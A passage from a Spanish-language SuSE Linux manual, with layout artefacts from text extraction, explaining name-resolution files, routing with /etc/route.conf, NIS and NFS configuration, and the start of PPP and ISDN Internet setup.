el fichero /etc/hosts bind: Llamada a un servidor de nombres multi on/off Determina si una computadora dada de al- ta en /etc/hosts puede tener varias direc- ciones IP. nospoof on Estos parámetros influyen sobre el ''spoof- alert on/off ing'' del servidor de nombres, pero no tienen ninguna influencia adicional sobre la config- uración de red. trim El nombre de dominio que se indica aquí, se resta del nombre totalmente cualificado de la computadora que lo contiene (antes de asig- nar la dirección IP al nombre de computa- dora). Se trata de una opción de utilidad cuando el fichero /etc/hosts solo contiene nombres de computadoras locales (alias) y, estos deben ser reconocidos también cuando se añade el nombre del dominio. _____________________________________________________________________________________________________________ Tabla 5.2: Parámetros de /etc/host.conf 159 5. Linux en la red________________________________________________________________________________________________________________* *_______________________________________@ /etc/host.conf Este fichero controla el funcionamiento de la biblioteca de resolución, que convierte nombres de computadoras en direcciones IP. Hay varios parámetros para ajustar y cada uno debe estar en una línea aparte. Los parámetros admitidos figuran en tabla 5.2 en la página anterior; los co- mentarios comienzan con el símbolo `#'. El fichero 5.2.3 muestra un ejemplo de /etc/host.conf. ________________________________________________________________________________________________________* *________|| | # * * | | # /etc/host.conf * * | | * * | | # * * | | # We have named running * * | | * * | | order hosts bind * * | | # Allow multiple addrs * * | | * * | | multi on * * | | # End of host.conf * * | |_______________________________________________________________________________________________________* *________ | Fichero 5.2.3: /etc/host.conf /etc/nsswitch.conf Con la version 2.0 de la librería GNU de C comenzó el uso del ''Name Service Switch'' (NSS) (ver página del manual de nsswitch.conf (man 5 nsswitch.conf ) y más explícito en The GNU C Library Ref- erence Manual, capítulo "System Databases and Name Service Switch" 1 ). El fichero /etc/nsswitch.conf determina en cuál orden se solicitan determinadas informaciones. El fichero 5.2.4, muestra un ejemplo para nsswitch.conf en el cual las líneas de comentarios comienzan con `#'. Respecto al ''banco de datos'' hosts, el ejemplo siguiente indica que se envía una solicitud al servicio DNS (ver paquete named) después de consultar /etc/hosts (files ). | * * | ________________________________________________________________________________________________________* *________|| | # * * | | * * | | # /etc/nsswitch.conf * * | | # * * | | passwd: compat * * | | * * | | group: compat * * | | * * | | * * | | hosts: files dns * * | | networks: files dns * * | | * * | | * * | | services: db files * * | | * * | | protocols: db files * * | | * * | | * * | | netgroup: files * * | | * * | |_______________________________________________________________________________________________________* *________ | Fichero 5.2.4: /etc/nsswitch.conf _____________________________________________1 paquete libcinfo, serie doc. 160 _________________________________________________5.2.__Configuración_manual_de_la_red_~_¿Dónde_tocar?___________________________* *__________________ Los ''bancos de datos'' accesibles vía NSS se mencionan en la tabla 5.3. Para el futuro se espera también la disponibilidad de automount , bootparams , netmasks y publickey . _____________________________________________________________________________________________________________ aliases Mail-+ Alias, usado por sendmail(8); ver página del manual de aliases (man 5 aliases ). ethers Direcciones de ethernet. group Usado por getgrent(3) para grupos de usuarios; ver página del manual de group (man 5 group ). hosts Para nombres de host y direcciones IP, los usan fun- ciones como gethostbyname(3) o parecidas. netgroup Lista de hosts y de usuarios válida en la red para ad- ministrar los derechos de acceso; ver página del man- ual de netgroup (man 5 netgroup ). networks Nombres y direcciones de redes, lo usa getnetent(3). passwd Contraseñas de usuarios, que usa getpwent(3); ver página del manual de passwd (man 5 passwd ). protocols Protocolos de red; información usada por getprotoent(3); ver página del manual de protocols (man 5 protocols ). rpc Nombres y direcciones del tipo ''Remote Procedure Call''; lo usan getrpcbyname(3) y otras funciones parecidas. services Servicios de red; lo usa getservent(3). shadow Las contraseñas ''Shadow'' de los usuarios, usado por getspnam(3); ver página del manual de shadow (man 5 shadow ). _____________________________________________________________________________________________________________ Tabla 5.3: ''Bancos de datos'' accesibles a través de /etc/nsswitch.conf Las opciones de configuración de los ''bancos de datos'' NSS se encuen- tran en tabla 5.4 en la página siguiente. _____________________________________________________________________________________________________________ files acceso direkto a los ficheros, p. ej. a /etc/ aliases. db acceso a través de un banco de datos. nis NIS , ver apartado 5.4 en la página 166NIS, las páginas amarillas del LANsection.5.4 . nisplus dns Parámetro adicional, solo aplicable para hosts y networks . _____________________________________________________________________________________________________________ Tabla 5.4: Continúa en la página siguiente ... 1* *61 5. Linux en la red________________________________________________________________________________________________________________* *_______________________________________@ ____________________________________________________________________________________________________* *______ compat Parámetro adicional para passwd , shadow y group . adicionalmente es posible conseguir diferentes resultados en ca- so de determinados eventos ''Lookup''; hay de- talles en página del manual de nsswitch.conf (man 5 nsswitch.conf ). ____________________________________________________________________________________________________* *______ Tabla 5.4: Opciones de configuración de los ''bancos de datos'' NSS /etc/nscd.conf Este es el fichero para configurar el nscd (ingl. Name Service Cache Daemon); ver página del manual de nscd (man 8 nscd ) y página del manual de nscd.conf (man 5 nscd.conf ). La información en cuestión es la que se encuentra en passwd , groups y hosts . Hace falta reiniciar el daemon p. ej. cuando se cambia la resolución de nombres de dominio (DNS) modificando /etc/resolv.conf; para ello se usa el siguiente comando: tierra: # /sbin/init.d/nscd restart ________________________________________________________________________________________________________* *________ | * * ||| | Cuando está activada la característica ''caching'' para passwd , normal- * * ||| | mente pasan unos 15 segundos hasta que un usuario creado de nuevo se * * ||| | * * ||| | conozca en el sistema. Reiniciando nscd este tiempo de espera se puede * * ||| | reducir. * * ||| |_______________________________________________________________________________________________________* *________|||_ /etc/resolv.conf Este fichero, tal como /etc/host.conf, también juega su papel respecto a la resolución de nombres de computadoras con la biblioteca resolver. Aquí se indica a cuál dominio pertenece la computadora (palabra clave search ) y cuál es la dirección del servidor de nombres a acceder (pal- abra clave nameserver ); se pueden indicar varios nombres de dominio. Resolver un nombre que no sea totalmente cualificado, significa obtener un nombre totalmente cualificado y válido al añadir las indicaciones en search . Es posible indicar varios servidores de nombre introduciendo varias líneas que comienzan con nameserver ; los comentarios se intro- ducen como siempre con `#'. Hay un ejemplo para /etc/resolv.conf en el fichero 5.2.5 en la página siguiente. ¡YaST apunta aquí el servidor de nombres que se le indica! (ver aparta- do 5.1 en la página 156Configuración con YaST section.5.1) /etc/HOSTNAME Aquí se encuentra el nombre de la computadora, es decir, solo el nombre del host sin el nombre de dominio. Hay distintos scripts que leen este fichero durante el arranque de la computadora. ¡No debe contener más que una sola línea con el nombre de la computadora! Este fichero se 162 _________________________________________________5.2.__Configuración_manual_de_la_red_~_¿Dónde_tocar?_______________________* *______________________ _______________________________________________________________________________________________________________________|| |||||||| # /etc/resolv.conf | |||||||| | |||||||| # | |||||||| # Our domain | |||||||| | |||||||| search cosmos.univ | |||||||| # | |||||||| | |||||||| # We use sol (192.168.0.1) as nameserver | |||||||| nameserver 192.168.0.1 | |||||||| # End of resolv.conf | ||||||||_______________________________________________________________________________________________________________ | Fichero 5.2.5: /etc/resolv.conf genera también automáticamente a través de los parámetros en /etc/rc. config. 5.2.2 Scripts de arranque (Startup-Sripts) Aparte de los ficheros de configuración mencionados, existen diferentes scripts (macros) que inician los programas de red cuando la computadora arranca. Estos scripts se inician cuando el sistema entra en uno de los niveles de ejecución de multiusuario (ingl. Multiuser-Runlevel) (ver tabla 5.5 en la página siguiente). ______________________________________________________________________________________________________________________ /sbin/init.d/network Este script se encarga de la configuración del hardware y software de la red du- rante el arranque. Se evalúan también los apuntes hechos por YaST (ver aparta- do 5.1 en la página 156Configuración con YaST section.5.1) en /etc/rc.config sobre las direcciones IP de computadoras y redes tal como las de máscara de red y gateway. /sbin/init.d/route Sirve para definir las rutas estáticas en la red. El apartado 5.3 en la página 165Rout- ing en SuSE Linux section.5.3 contiene una descripción detallada. /sbin/init.d/inetd Inicia el inetd , si estuviese previsto en /etc/rc.config. Se necesita p. ej. para acceder desde la red a la computadora en cuestión. /sbin/init.d/rpc Inicia el ''portmapper'', que se necesita para usar servidores RPC como p. ej. un servidor NFS. /sbin/init.d/ Inicia el servidor NFS. nfsserver /sbin/init.d/sendmail Controla el proceso de sendmail en fun- ción de los ajustes /etc/rc.config. ______________________________________________________________________________________________________________________ Tabla 5.5: Continúa en la página siguiente ... * * 163 5. Linux en la red________________________________________________________________________________________________________________* *_______________________________________@ _______________________________________________________________________________________________________* *_________ /sbin/init.d/ypserv Inicia el servidor NIS en función de los ajustes en el fichero /etc/rc.config. /sbin/init.d/ypclient Inicia el cliente NIS en función de los ajustes en /etc/rc.config. _______________________________________________________________________________________________________* *_________ Tabla 5.5: Scripts de arranque de las utilidades de red 164 ________________________________________________________________________________________5.3.__Routing_en_SuSE______Linux____* *______________________ 5.3 Routing en SuSE Linux Introducción En SuSE Linux la tabla de ''routing'' no es administrada por las variables en el fichero de configuración central /etc/rc.config, sino por el script /sbin/init.d/route y el fichero de configuración /etc/route.conf. Después de la inicialización de la red mediante los scripts de arranque /sbin/init.d/network, /sbin/init.d/inetd, /sbin/init.d/i4l_ hardware y eventualmente algunos adicionales, /sbin/init.d/route busca la tabla de routing en /etc/route.conf y la define para el sistema. El fichero /etc/route.conf admite todas las rutas estáticas necesarias para las distintas tareas en un sistema: ruta hacia una computadora, ruta hacia una computadora a través de un gateway y ruta hacia una red. El uso del routing dinámico con /usr/sbin/routed es otra posibilidad. Su configuración resulta más complicada; se puede consultar en la página de manual (manpage) de routed . Configuración y uso Las reglas para escribir el fichero de configuración /etc/route.conf se adaptan a la salida en pantalla del comando /sbin/route . Usando el coman- do /sbin/route sin ningún parámetro adicional, aparece la tabla de routing usada actualmente por el kernel. El fichero /etc/route.conf es igual al que se obtiene mediante el comando /sbin/route exceptuando las entradas en las columnas Flags, Metric, Ref y Use. A continuación se presentan las reglas de /etc/route.conf: o Se ignoran líneas vacías y las que tengan `#' al comienzo de ella. Una entrada se compone de un mínimo de dos columnas y un máximo de cuatro. o El destino de una ruta se encuentra en la primera columna en forma de la dirección IP de una red o una computadora. Si hay acceso a un servidor de nombres, se puede usar también el nombre totalmente cualificado de la red o de la computadora. o La palabra clave default está reservada para el gateway por defecto. No se debe usar 0.0.0.0 como el destino de definiciones del routing. o La segunda columna contiene ya sea un blanco de relleno (0.0.0.0 ), la dirección IP o bien, el nombre completo de una computadora. Esta computadora puede ser el gateway por defecto o un gateway a través del cual se puede acceder a otra computadora o red. o La tercera columna contiene la máscara de red para redes o computadoras detrás de un gateway. Por ejemplo, para una computadora por detrás de un gateway el valor de la máscara es 255.255.255.255 . o La última columna solo es importante para las redes locales de la com- putadora (Loopback, Ethernet, RDSI, PPP, Dummy-Device, . . . ); en ella se apunta el nombre del dispositivo. * * 165 5. Linux en la red________________________________________________________________________________________________________________* *_______________________________________@ En la Figura 5.3.1 hay un ejemplo simple de /etc/route.conf. Después de las modificaciones en pfad/etc/route.conf, se da de alta la nueva tabla de routing con el comando: | tierra:~ # rcroute restart * * | ________________________________________________________________________________________________________* *________|||| | # Destination Dummy/Gateway Netmask Device * * | | # * * | | # 192.168.0.1 0.0.0.0 255.255.255.255 ippp0 * * | | # default 192.168.0.1 * * | | # * * | | * * | | # Net devices * * | | # * * | | 127.0.0.0 0.0.0.0 255.255.255.0 lo * * | | 204.127.235.0 0.0.0.0 255.255.255.0 eth0 * * | | * * | | # * * | | # Gateway * * | | # * * | | default 204.127.235.41 * * | | * * | | # * * | | # Host behind Gateway * * | | # * * | | 207.68.156.51 207.68.145.45 255.255.255.255 * * | | * * | | # * * | | # Net behind a Gateway * * | | # * * | | 192.168.0.0 207.68.156.51 255.255.0.0 * * | |_______________________________________________________________________________________________________* *________ | Fichero 5.3.1: Ejemplo sencillo de /etc/route.conf 5.4 NIS, las páginas amarillas del LAN 5.4.1 ¿Qué es NIS? Cuando en una red existen varios sistemas Unix que quieren acceder a recur- sos comunes, hay que asegurar la armonía de los identificativos de usuarios y de grupos en todas las computadoras de la red. La red debe ser completamente transparente para el usuario, da igual en la computadora que trabaje, siempre debe encontrar el mismo entorno, lo que se consigue mediante los servicios NIS y NFS; el último sirve para la distribución de sistemas de ficheros en la red y se describe en el apartado 5.5 en la página 168NFS ~ sistemas de ficheros distribuidossection.5.5. NIS (ingl. Network Information Service)2 se puede entender como un servicio de banco de datos que da acceso a los ficheros /etc/passwd, /etc/shadow o /etc/group en toda la red. NIS puede prestar también servicios adi- cionales, p. ej. para /etc/hosts o /etc/services, pero estos no son objeto de discusión aquí. 5.4.2 Configuración de un cliente NIS El paquete ypclient, serie n, contiene todos los programas necesarios para la_configuración_de_un_cliente_NIS._Esta_precisa_de los siguientes pasos: 2 Muchas veces se usa como sinónimo para NIS la letras `YP'; éstas se derivan de las yellow pages, o sea las páginas amarillas en la red. 166 ______________________________________________________________________5.4.__NIS,_las_páginas_amarillas_del_LAN________________* *____________________ o Definición del dominio NIS en el arranque del sistema. Para ello hace falta configurar la variable YP_DOMAINNAME . El programa /sbin/init.d/network contempla esta variable cuando entra en un nivel de ejecución que usa la red y define el dominio de NIS como se ha indicado ya. No confunda el nombre de dominio NIS con el del dominio DNS . ¡Estos pueden ser iguales pero no tienen nada que ver el uno con el otro! o Definición del servidor NIS. El nombre del servidor NIS se define en /etc/rc.config con la vari- able YP_SERVER . SuSEconfig escribe los nombres en el formato cor- recto al fichero /etc/yp.conf (ver fichero 5.4.1), lo cual funciona au- tomáticamente cuando ha usado YaST para la definición de la variable. Este fichero debe contener una línea que comience con la palabra clave ypserver y que contenga el nombre del servidor NIS. _______________________________________________________________________________________________________________________|||| |||||||| # /etc/yp.conf | |||||||| # | |||||||| # Syntax: | |||||||| | |||||||| # | |||||||| # ypserver Define which host to contact | |||||||| | |||||||| # for YP service. | |||||||| # | |||||||| | |||||||| ypserver sol.cosmos.univ | |||||||| # End of /etc/yp.conf | ||||||||_______________________________________________________________________________________________________________ | Fichero 5.4.1: /etc/yp.conf o Es necesario que se pueda resolver el nombre del servidor NIS (p. ej. sol.cosmos.univ) con /etc/hosts. o Hay que asegurarse de que se inicia el RPC-Portmapper. El funcionamiento de NIS se realiza a través de RPC (ingl. Remote Pro- cedure Calls), por eso es necesario que el RPC-Portmapper esté iniciado. El script /sbin/init.d/rpc arranca este servidor lo que se resuelve au- tomáticamente si se lo ha pedido en /etc/rc.config. o Suplementos a las entradas en /etc/passwd y /etc/group. Los ficheros en cuestión deben llevar una línea suplementaria que comience con el símbolo `+', para que la computadora pase una so- licitud al servidor NIS después de haber buscado en los ficheros locales. NIS permite activar aquí muchas opciones adicionales, p. ej. Netgroups o la supresión de entradas NIS locales. o Inicio de ypbind . El último paso en la configuración del cliente NIS es el inicio del pro- grama ypbind , que representa el verdadero arranque del cliente NIS. Este programa también se inicia automáticamente si la configuración fue hecha con YaST . o Activación de los cambios. Se arranca la computadora de nuevo, o bien, se inician nuevamente los servicios necesarios con los comandos: * * 167 5. Linux en la red________________________________________________________________________________________________________________* *_______________________________________@ tierra:~ # rcnetwork restart tierra:~ # rcypclient restart 5.4.3 Servidor NIS-Master y Slave Se debe instalar el paquete ypserv, serie n; el procedimiento exacto se expli- ca en /usr/doc/packages/yp/HOWTO. 5.5 NFS ~ sistemas de ficheros distribuidos Como ya se ha mencionado en el apartado 5.4 en la página 166NIS, las páginas amarillas del LANsection.5.4, el servicio NFS sirve, junto con el servicio NIS, para hacer una red transparente al usuario. NFS consiente la distribución de sistemas de fichero en la red, lo que permite al usuario encontrar siempre el mismo entorno, independientemente de la computadora en la que trabaje. Al igual que NIS, NFS es un servicio asimétrico de estructura cliente- servidor, pero a diferencia de éste, NFS puede ofrecer sistemas de fichero a la red (''exportar'') y a su vez montar los de otras computadoras (''importar''). Normalmente son solo los servidores los que exportan sistemas de ficheros, ya que son estos los que tienen alta capacidad de almacenamiento de datos. 5.5.1 Importar sistemas de ficheros Importar sistemas de ficheros desde un servidor NFS es muy simple y tiene como única condición el inicio del RPC-Portmapper . La manera de iniciar este servidor ya se explicó en el contexto de NIS (ver apartado 5.4.2 en la página anterior). De este modo es posible incorporar sistemas de ficheros externos al sistema de ficheros local, análogamente a la incorporación de discos locales, usando el comando mount ; el sistema de ficheros externo a montar debe ser exportado debidamente por la máquina servidora. La sintaxis de mount es la siguiente: mount -t nfs : Se pueden importar p. ej. los directorios de usuario de la computadora sol con el siguiente comando: tierra:~ # mount -t nfs sol:/home /home 5.5.2 Exportar sistemas de ficheros Una computadora que exporta sistemas de ficheros se denomina servidor NFS. Este debe tener los siguientes servicios activados (en ejecución): o RPC-Portmapper (portmap ) o RPC-Mount-Daemon (rpc.mountd ) o RPC-NFS-Daemon (rpc.nfsd ) Los scripts /sbin/init.d/rpc y /sbin/init.d/nfsserver inician los daemons cuando la computadora arranca. El inicio del RPC-Portmapper ya se explicó en el apartado 5.4.2 en la página anterior. 168 ________________________________________________________________5.5.__NFS_~_sistemas_de_ficheros_distribuidos_______________* *______________________ Aparte de iniciar estos daemons es preciso definir cuáles sistemas de ficheros se deben exportar a cuáles computadoras. Esto se realiza con el fichero /etc/ exports. Por cada directorio a exportar se necesita una línea que constate cuál com- putadora debe acceder a él y de qué forma; los sub-directorios se exportan automáticamente. Las computadoras con permiso de acceso se indican gen- eralmente por sus nombres (con el nombre del dominio incluido). También puede usar los + Comodines `*' y `?' con sus funciones conocidas de la shell bash . Si no se indica ningún nombre, cada computadora tiene la posi- bilidad de montar el directorio con los derechos de acceso indicados para el mismo. Los derechos de exportación del directorio se indican en paréntesis en una lista detrás del nombre de computadora. La siguiente tabla resume las op- ciones de acceso más importantes. ______________________________________________________________________________________________________________________ ro Exportación solo con derecho de escritura (por defec- to). rw Exportación con derecho de escritura y lectura. root`squash Esta opción hace que el usuario `root' de la com- putadora indicada, no tenga sobre el directorio, los derechos especiales típicos para `root'. Esto se logra modificando los accesos con el identificati- vo de usuario (ingl. User-ID) 0 al de 65534 (-2) . Este identificativo debe estar asignado al usuario `nobody' (es así por defecto). no`root`squash Ninguna modificación de los derechos de `root'. link`relative Modificación de enlaces simbólicos absolutos (aque- llos que comienzan con `/') a una secuencia de `../'. Esta opción solo tiene sentido si se monta el sistema de ficheros completo de una computadora (es así por defecto). link`absolute No se modifican los enlaces simbólicos. map`identity El cliente usa los mismos identificativos (ingl. User- ID) que el servidor (es así por defecto). map`daemon Los identificativos de usuario, de cliente y servidor, no coinciden. Con esta opción el nfsd genera una tabla para la conversión de los identificativos de usuario. El requisito para ello es la activación del daemon ugidd . ______________________________________________________________________________________________________________________ Tabla 5.6: Derechos de acceso a directorios exportados El fichero 5.5.1 en la página siguiente muestra un ejemplo de un fichero exports. Los programas mountd y nfsd leen el fichero /etc/exports. Después de haberlo modificado, es preciso reiniciar mountd y nfsd para que los cambios * * 169 5. Linux en la red________________________________________________________________________________________________________________* *_______________________________________@ ________________________________________________________________________________________________________* *________|| | # * * | ||# /etc/exports * * || | # * * | | /home sol(rw) venus(rw) * * | | /usr/X11 sol(ro) venus(ro) * * | | * * | | /usr/lib/texmf sol(ro) venus(rw) * * | | / tierra(ro,root_squash) * * | | * * | | /home/ftp (ro) * * | | # End of exports * * | |_______________________________________________________________________________________________________* *________ | Fichero 5.5.1: /etc/exports se activen. Lo más simple para conseguirlo es la introducción del comando: tierra:~ # rcnfsserver restart 170 Capítulo 6 Conectarse con el mundo ~ RDSI, PPP, Fax. . . No solo interesa conectarse a una red de área local, sino también a una red grande y distribuida (+ WAN (ingl. Wide Area Networks)) lo que permite p. ej. el uso de buzones de correo electrónico. En el mundo de Unix se impusieron dos estándares para la conexión a redes grandes, UUCP y TCP/IP vía modem o RDSI. Mientras que se usa UUCP (Unix to Unix CoPy) sobre todo para el transporte de News (noticias de Internet) y de E-Mail , la conexión vía TCP/IP representa una conexión de red real, que ofrece todos los servicios de una LAN ~ al fin y a cabo la LAN también está basado en TCP/IP. PPP (Point to Point Protocol) 1 es hoy en día el protocolo preferido para usar TCP/IP en una conexión vía modem o vía tarjeta RDSI. En conexiones RDSI se utiliza generalmente syncPPP y algunas veces rawip (ver apartado 6.2.5 en la página 180La selección del protocolosubsection.6.2.5). El tema de los siguientes apartados trata sobre la configuración de una conex- ión de WAN. Brevemente se presenta el protocolo PPP (apartado 6.1 en la página siguiente) y se explica cómo conectar un modem analógico (aparta- do 6.5 en la página 189Conexión de modemsection.6.5) y cómo configurar una conexión PPP (apartado 6.6 en la página 190Con el modem a Inter- net: PPP con wvdial section.6.6). Aparte de esto, se comenta la conexión de E-Mail(apartado 6.8 en la página 204Vamos a escribir ~ Configuración de sendmailsection.6.8), configuración del sistema de noticias (apartado 6.9 en la página 207News: Las noticias más actuales de USENETsection.6.9) y la posibilidad de enviar y recibir Fax (apartado 6.10 en la página 209Linux + Fax: ¡Una buena combinación!section.6.10) . Minicom Minicom es un programa de emulación de terminal de uso fácil, cuyo manejo es parecido al del programa DOS Telix . Todos los usuarios que quieren usar minicom deben estar anotados en el fichero /etc/minicom.users. Allí se define cuáles usuarios tienen derecho de acceso a cuál modem y con cuál configuración. La configuración_de_Minicom_se_efectúa_iniciándolo_como_`root'_con: 1 SLIP (Serial Line Internet Protocol) cada vez pasa más de moda. * * 171 6. Conectarse con_el_mundo_~_RDSI,_PPP,_Fax._._.__________________________________________________________________________________* *_______________________________________@ tierra:/ # minicom -s Los ajustes necesarios para su uso no se diferencian de otros sistemas opera- tivos y son auto-explicativos. ________________________________________________________________________________________________________* *________ | La combinación de teclas |C______|trl-|L_ |no funciona en un xterm o en rxvt , sin * * ||| | ______ _ * * ||| | embargo, funciona en kvt o en una consola de texto. * * ||| |_______________________________________________________________________________________________________* *________|||_ 6.1 PPP PPP (ingl. Point to Point Protocol) ofrece la posibilidad de usar TCP/IP a través de un cable serie. Cliente y servidor de la conexión PPP pueden ne- gociar durante el inicio de la conexión diversos parámetros del protocolo. El servidor puede comunicar al cliente su dirección IP y a su vez asignarle una dirección. Al contrario de SLIP, PPP tiene un estándar definido y representa ahora la única posibilidad de comunicación de casi todos los proveedores de Internet. La clave de PPP está en el daemon PPP (pppd ), que forma la interfaz para acceder a los dispositivos PPP. Puede actuar de cliente y también de servidor. Del establecimiento de la conexión en sí se encarga el programa wvdial o el programa chat . 6.1.1 Requisitos para PPP Los requisitos para el uso del protocolo PPP en SuSE Linux son: o ¡El kernel tiene que soportar TCP/IP y PPP! Este es el caso para el kernel estándar y los módulos que proporcionamos, por lo tanto no es preciso compilar un kernel propio. o Los paquetes de red deben estar instalados; el paquete nkita y el paquete nkitb, serie a son imprescindibles. o El paquete ppp, serie n que contiene el daemon pppd y el programa chat . o Si quiere usar un modem analógico, se necesita paquete wvdial, serie n para establecer y cortar la conexión. o Para configurar el acceso vía RDSI consulte también apartado 6.2.3 en la página 175Requisitossubsection.6.2.3. o Tiene que conocer el login y la contraseña del servidor PPP. 6.1.2 Información adicional sobre PPP PPP ofrece una multitud de posibilidades para configurar la conexión; tantas, que sería demasiado presentarlas todas aquí. Si necesita más opciones puede consultar las respectivas + Manpages, p. ej. en la página del manual de pppd (man 8 pppd ); además hay mucha información detallada en los ficheros NET4-3-HOWTO.gz (antes: NET-3-HOWTO.gz) y PPP-HOWTO.gz, que están en el directorio /usr/doc/howto o en los ficheros de documentación en el directorio /usr/doc/packages/ppp y /usr/doc/packages/wvdial. En las siguientes referencias hay detalles sobre los protocolos utilizados por PPP: 172 ______________________________________________________6.2.__Acceso_a_Internet_vía_RDSI_~_la_configuración___________________* *______________________ o RFC1144: Jacobson, V. ''Compressing TCP/IP headers for low-speed serial links.'' 1990 February; o RFC1321: Rivest, R. ''The MD5 Message-Digest Algorithm.'' 1992 April; o RFC1332: McGregor, G. ''PPP Internet Protocol Control Protocol (IPCP).'' 1992 May; o RFC1334: Lloyd, B. Simpson, W.A. ''PPP authentication protocols.'' 1992 October; o RFC1548: Simpson, W.A. ''The Point-to-Point Protocol (PPP).'' 1993 December; o RFC1549: Simpson, W.A. ''PPP in HDLC Framing.'' 1993 December; 6.2 Acceso a Internet vía RDSI ~ la configuración Aparte de las conexiones de red ''ordinarias'', Linux puede también estable- cer y administrar conexiones con otras computadoras (p. ej. con proveedores de Internet) vía RDSI. Además es muy fácil configurarlo, porque YaST se encarga de una buena parte de ello. La descripción expuesta a continuación, contempla una conexión estándar con otra computadora vía RDSI. Evidentemente es posible hacer mucho más que esto con RDSI bajo Linux. Considere la posibilidad de que los procedimientos expuestos no sean per- mitidos según las leyes de telecomunicación de su país. Este puede ser el caso para tarjetas RDSI pasivas cuya autorización está vinculada al uso en conjunto con el software del fabricante. Las tarjetas ELSA Microlink PCI (antes Quickstep) y Eicon Diva 2.01 ~ representan una excepción, ya que se pueden usar también bajo Linux. Las tarjetas activas se autorizan junto con el firmware (el software que contiene la placa en ROM), lo que las autoriza automáticamente para el uso bajo Linux. Si necesita esta autorización tendrá que usar una tarjeta activa o una pasiva conectada a una centralita. En comparación a una conexión con modem, no hace falta iniciar la comuni- cación con ningún comando especial. Cuando la red está activa, la conexión a la contraparte se inicia con una actividad normal como telnet , http WWW, ftp etc.; en tal caso la computadora llama y la conexión se establece; el pro- ceso dura alrededor de 3 segundos. Así otros usuarios aparte del superusuario `root', pueden establecer la comunicación, la cual termina automáticamente después de un cierto tiempo de inactividad, configurable por parte del usuario. Durante toda la configuración de RDSI se aconseja seguir los mensajes de sistema en _el_ fichero__/var/log/messages. Para ello diríjase a un xterm (en KDE : |A____l|t+ |F___|2y después introduzca xterm ) o cualquier otra consola virtual y cargue el fichero xterm en el ''Viewer'' less 2 : tierra: # less +F /var/log/messages Con la opción +F la pantalla muestra cada nueva línea que se añade_al fichero_ ''en línea''. Para salir se utiliza la combinación de teclas |C______|trl+ |c_ |. Con xisdnload es posible visualizar y así controlar el ''tráfico'' RDSI. 2 ____________________________________________________ Las instrucciones sobre less se encuentran en el apartado 19.7.3 en la página 474El contenido de los ficherossubsection.19.7.3 * * 173 6. Conectarse con_el_mundo_~_RDSI,_PPP,_Fax._._.__________________________________________________________________________________* *_______________________________________@ 6.2.1 Configurar RDSI ~ paso por paso Este apartado explica paso a paso la forma de configurar el acceso a Internet. Si este procedimiento no funcionara o si fueran necesarios más detalles sobre el tema, se pueden consultar los apartados que figuran a continuación de éste. 1. Inicie el programa _YaST_ como__usuario_ `root' ~ si se encuentra en el entorno KDE: pulse |A____l|t+ |F___|2e introduzca después xterm . En la nueva ventana se puede iniciar YaST . 2. Seleccione `Administración del sistema', `Configuración de red' y después `Configuración básica de red'. 3. Debe generar un nuevo_ dispositivo (con |____|F5) del tipo ISDN SyncPPP . Pulse `RETURN' o | ___F|6, para llegar al menú `Introduzca dirección de red'. 4. Mantenga los ajustes tal como están ~ la dirección IP de la máquina local es 192.168.0.99 , la dirección IP del compañero punto a pun- to (contraparte) es 192.168.0.1 ~ y solo modifique la IP del gateway (pasarela), indicando la misma IP como IP del compañero punto a punto (192.168.0.1 ). 5. Continúe la configuración con `Continuar'. 6. Active la tarjeta en el formulario `Selección de red' con |F___|_4. 7. Guarde todo con |F_____|10. 8. Ahora se continúa con `Instalar hardware en el sistema' y de- spués `Configurar hardware RDSI'. 9. Rellene todos los campos en el formulario. Si no sabe exactamente qué escribir, consulte la documentación en /usr/doc/packages/i4l y en los apartados siguientes. 10. En la misma ventana seleccione `Iniciar'. 11. Si tiene éxito (en pantalla aparece una confirmación), seleccione Parámetero RDSI . 12. Rellene también el formulario que aparece ahora. 13. Después seleccione `Iniciar' en la ventana. 14. Si tiene éxito (en pantalla aparece una confirmación), seleccione `Guardar'. 15. Seleccione `Configuración DNS', y afirme la pregunta con `Sí'. 16. Introduzca la dirección IP del servidor de nombres (DNS) de su provee- dor. Si no la conoce consulte el proveedor o tal vez la pueda encontrar en la página web del mismo. 17. Termine YaST e introduzca init 1 en la ventana del terminal. Si KDE (y las ''X'') están en ejecución, el entorno gráfico se cierra. 18. Entre al sistema como superusuario `root'. 19. Si usa startx para iniciar X, entonces inicie los servicios de red con init 2 . Si por el contrario tiene un ''login'' gráfico activado, use init 3 . 20. Ya puede iniciar p. ej. Netscape para navegar en Internet. También puede iniciar xisdnload para monitorizar el estado de la conexión. 174 ______________________________________________________6.2.__Acceso_a_Internet_vía_RDSI_~_la_configuración__________________* *_______________________ 21. En el caso de algunos ISP es preciso indicar en Netscape el servidor Proxy del proveedor: En Netscape `Edit', `Preferences', `Advanced', `Proxies', `Manual Proxy Configuration' y después `View'. Ahora el acceso vía RDSI debería funcionar y establecer así una conexión a Internet cada vez que se indique, p. ej. en Netscape, una dirección de Inter- net. El acceso finaliza transcurridos 60 segundos sin transferencia de ningún paquete de datos; controle el tráfico de red con xisdnload ! ¡Si este procedimiento no funcionara, continúe leyendo! 6.2.2 Introducción SuSE Linux contiene el paquete isdn4linux, un paquete de programas com- puesto por un driver, una interfaz de red y una emulación de modem (solo modem digital). Además se incluye software p. ej. para un contestador de teléfono. El script /sbin/init.d/i4l_hardware carga el driver del hardware de la tarjeta RDSI (ver capítulo 17 en la página 431El concepto de arranque de SuSE Linux chapter.17). La herramienta isdnctrl (página del manual de isdnctrl (man isdnctrl )) se encarga de configurar la conexión RDSI. Los comandos ifconfig (página del manual de ifconfig (man ifconfig )) y route (página del manual de route (man route )) permiten configurar las interfaces de red disponibles, al igual que las de una interfaz tipo Ethernet. En el caso de SuSE Linux el que se encarga de ello es el script /sbin/init.d/i4l, (ver capítulo 17 en la página 431El concepto de arranque de SuSE Linux chapter.17). La base de esta configuración la forman los parámetros anotados en /etc/ rc.config y la denominación de las variables apuntadas allí, se orienta según lo posible, a la de las opciones de isdnctrl . El script /sbin/init.d/route se encarga de configurar el ''routing'' de acuerdo a los valores apuntados en /etc/route.conf. La conexión se establece ''según necesidad'' con los parámetros que se han definido en isdnctrl , /sbin/init.d/i4l y /etc/rc.config. Estos se pueden visualizar con: tierra: # isdnctrl list all ''Según necesidad'' quiere decir que, una de las ''rutas'' creadas accede a la interfaz RDSI correspondiente. Cualquier usuario o cualquier aplicación puede realizarlo. 6.2.3 Configuración del hardware RDSI Requisitos Para establecer una conexión RDSI con SuSE Linux, se necesita lo siguiente: 1. una línea RDSI 2. una tarjeta RDSI soportada * * 175 6. Conectarse 